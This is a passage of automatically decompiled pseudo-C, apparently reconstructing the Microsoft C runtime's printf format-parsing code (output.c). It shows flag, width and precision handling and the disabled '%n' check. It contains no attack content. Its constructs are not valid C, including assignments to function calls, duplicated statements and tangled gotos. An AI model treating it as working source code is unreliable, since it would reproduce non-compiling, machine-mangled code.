																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x4353b0; // 0x4bbe9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043539C))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x43541c; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M004353E0))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E00428150(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B540(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AAD0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x440374; // 0x2c9cf96e
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AAD0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xac9cf9bd
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AAD0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xac9cf9c2
																						E00424340(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E00428190(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E00434010(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428150(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428150(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428150(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E00428150(__ebp + 0x14);
																		__eax = E00433CF0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E000();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																			__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AAA0(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x328) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x328);
																		 *(__ebp - 0x290) =  *(__ebp - 0x328);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428150(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L101:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x28c) =  *(__ebp - 4);
																			while(1) {
																				L104:
																				__ecx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L105:
																				__eax =  *(__ebp - 0x28c);
																				__ecx =  *( *(__ebp - 0x28c));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L106:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			}
																			L107:
																			__eax =  *(__ebp - 0x28c);
																			__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L108;
																		} else {
																			L94:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404438
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x294) =  *(__ebp - 4);
																			while(1) {
																				L97:
																				__edx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags =  *(__ebp - 0x290);
																				if( *(__ebp - 0x290) == 0) {
																					break;
																				}
																				L98:
																				__ecx =  *(__ebp - 0x294);
																				__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L99:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			}
																			L100:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L108:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																	case 0xc:
																		L145:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
